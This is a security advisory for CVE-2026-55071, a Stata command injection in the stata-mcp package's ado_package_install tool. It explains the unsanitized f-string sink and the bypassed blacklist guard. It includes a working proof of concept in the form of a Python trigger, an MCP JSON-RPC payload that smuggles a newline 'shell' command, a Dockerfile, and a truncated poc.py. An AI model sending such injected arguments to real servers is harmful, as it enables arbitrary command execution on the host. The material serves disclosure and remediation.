GitHub Advisoryadvisory · PyPI
GHSA-49m4-vp58-wgc9 MCP-for-Stata: Stata Command Injection via Unsanitized `package` in `ado_package_install`
HIGH
Official page ↗
- Aliases
- CVE-2026-55071
- Ecosystem
- PyPI
- Packages
- stata-mcp
- Severity
- High
- CVSS vector
- CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-94
- Reviewed
- 2026-08-12
Affected packages
• PyPI stata-mcp: < 1.19.0 → fixed in 1.19.0
Description
Stata Command Injection via Unsanitized `package` in `ado_package_install`
Summary
The `ado_package_install` MCP tool in `stata-mcp` concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the `package` argument to inject arbitrary Stata commands. Because Stata supports a `shell` escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default `all` profile, so no non-default configuration is required. Base CVSS score is 8.4 (High).
Details
The vulnerability originates in `SSC_Install.install()`:
```python
src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:14-16
def install(self, package: str) -> str:
install_command = f"ssc install {package}{self.REPLACE_MESSAGE}"
runner_result = self.controller.run(install_command)
```
The `package` parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim:
```python
src/stata_mcp/stata/stata_controller/controller.py:98-99
Send the command
self.child.sendline(command)
```
`pexpect.sendline()` writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata's `shell` (and `!`) commands execute an OS shell command, a newline-delimited payload results in OS command execution.
The full source-to-sink data flow is:
1. Exposure — `src/stata_mcp/mcp_servers.py:626-632`: `_TOOL_REGISTRY` registers `ado_package_install` in the `all` profile.
2. Default activation — `src/stata_mcp/cli/_handlers.py:295-300`: when no `--core`/`--all` flag is given the profile defaults to `all`, so the tool is always enabled.
3. Propagation — `src/stata_mcp/mcp_servers.py:308-349`: the MCP argument `package` is passed to `installer(...).install(*args)` without validation.
4. Sink construction — `src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15`: `package` is interpolated into `install_command`.
5. Delivery — `src/stata_mcp/stata/stata_controller/controller.py:99`: `self.child.sendline(command)` sends the attacker-influenced string to Stata.
A guard/blacklist (`src/stata_mcp/guard/blacklist.py:41-60`) registers `shell`, `!`, `winexec`, `unixcmd`, and similar strings as dangerous commands, but the `GuardValidator` that enforces this list is invoked only on the `stata_do` path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack.
PoC
Prerequisites
• Unix-like host with a configured Stata CLI, or use the provided Docker image which replaces the Stata binary with a minimal Python stub (`fake_stata.py`) that honours the `shell` command.
Container-based reproduction (no Stata license required)
```bash
Build (run from the repository root)
docker build -t stata-mcp-poc-001 \
-f vuln-001/Dockerfile \
reports/pypiAi_828_SepineTam__stata-mcp/
Run
docker run --rm stata-mcp-poc-001
```
Direct Python trigger (unmodified source)
```python
import os
from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install
MARKER = "/tmp/stata_mcp_ado_poc"
PAYLOAD = f"outreg2\nshell touch {MARKER}\n//"
installer = SSC_Install("/usr/local/bin/stata", is_replace=True, timeout=10)
installer.install(PAYLOAD)
assert os.path.exists(MARKER), "RCE not confirmed"
print("RCE CONFIRMED — marker file created")
```
The payload `"outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//"` is expanded by the f-string at `ssc_install.py:15` into:
```
ssc install outreg2
shell touch /tmp/stata_mcp_ado_poc
//, replace
```
Stata executes the second line as an OS shell command. The trailing `//` comment neutralises the `, replace` suffix so Stata does not raise a syntax error.
MCP JSON-RPC trigger
```json
{
"tool": "ado_package_install",
"arguments": {
"source": "ssc",
"package": "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//",
"is_replace": true
}
}
```
Expected output
```
[+] PASS - RCE CONFIRMED
[+] Marker file exists: /tmp/stata_mcp_ado_poc
[+] The injected Stata 'shell' command was executed by the REPL.
```
Phase 2 dynamic reproduction confirmed the marker file `/tmp/stata_mcp_ado_poc` was created inside the Docker container, and `install()` returned a string containing the injected command:
```
Installation State: False
ssc install outreg2\r\nshell touch /tmp/stata_mcp_ado_poc\r\n//, replace
```
Impact
This is a Code/Command Injection (RCE) vulnerability. Any principal who can call the `ado_package_install` MCP tool or the equivalent Python API — including an AI model or agent connected to the MCP server, a local script, or a remote HTTP client if the HTTP transport is exposed — can execute arbitrary OS commands with the privileges of the user running the Stata-MCP server.
Because the tool is registered in the default `all` profile and `all` is the default active profile, no misconfiguration by the victim is required. All users of `stata-mcp` on the affected version who run `stata-mcp server` are impacted.
Concrete consequences include: exfiltration of credentials and data accessible to the process, persistence via cron/startup entries, lateral movement within the local network, and complete compromise of the host user account.
Reproduction artifacts
`Dockerfile`
```dockerfile
Dockerfile for VULN-001 dynamic reproduction
Build context must be the parent directory:
docker build -t stata-mcp-poc-001 -f vuln-001/Dockerfile .
Vulnerability: Stata Command Injection via unsanitized `package` in
SSC_Install.install() (ssc_install.py:15).
Strategy: replace the real Stata binary with a minimal Python script
(fake_stata.py) that honours the 'shell ' Stata command.
The vulnerable stata-mcp code is installed unmodified from the repo.
FROM python:3.11-slim
Install pexpect -- the only runtime dependency required by the PoC
(StataController imports pexpect; all other imports are stdlib-only).
RUN pip install --no-cache-dir pexpect==4.9.0
------------------------------------------------------------------
Fake Stata binary
------------------------------------------------------------------
Placed at /usr/local/bin/stata so StataFinder (Linux) can auto-discover
it and the PoC can reference it by absolute path.
COPY vuln-001/fake_stata.py /usr/local/bin/stata
RUN chmod +x /usr/local/bin/stata
------------------------------------------------------------------
Vulnerable package (unmodified source)
------------------------------------------------------------------
COPY repo/src /workspace/src
ENV PYTHONPATH=/workspace/src
------------------------------------------------------------------
PoC script
------------------------------------------------------------------
COPY vuln-001/poc.py /workspace/poc.py
WORKDIR /workspace
CMD ["python3", "/workspace/poc.py"]
```
`poc.py`
```python
!/usr/bin/env python3
"""
PoC for VULN-001: Stata Command Injection via unsanitized `package` in
`ado_package_install` (SSC path).
Vulnerable code:
ssc_install.py:15
install_command = f"ssc install {package}{self.REPLACE_MESSAGE}"
controller.py:99
self.child.sendline(command)
Attack: embed a newline in `package` to inject an additional Stata command.
package = "outreg2\\nshell touch /tmp/stata_mcp_ado_poc\\n//"
The constructed command string becomes:
ssc install outreg2
shell touch /tmp/stata_mcp_ado_poc
//, replace
pexpect delivers this multi-line string verbatim to the Stata REPL via
sendline(), causing Stata to execute 'shell touch /tmp/stata_mcp_ado_poc',
which runs the OS command 'touch /tmp/stata_mcp_ado_poc'.
Marker file creation confirms RCE.
"""
import os
import sys
FAKE_STATA = "/usr/local/bin/stata"
MARKER_FILE = "/tmp/stata…
Related
Alias · CVE (1)
- CVE-2026-55071 MCP-for-Stata is a MCP server for integrating Stata into agent loops with a safety-first design. vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness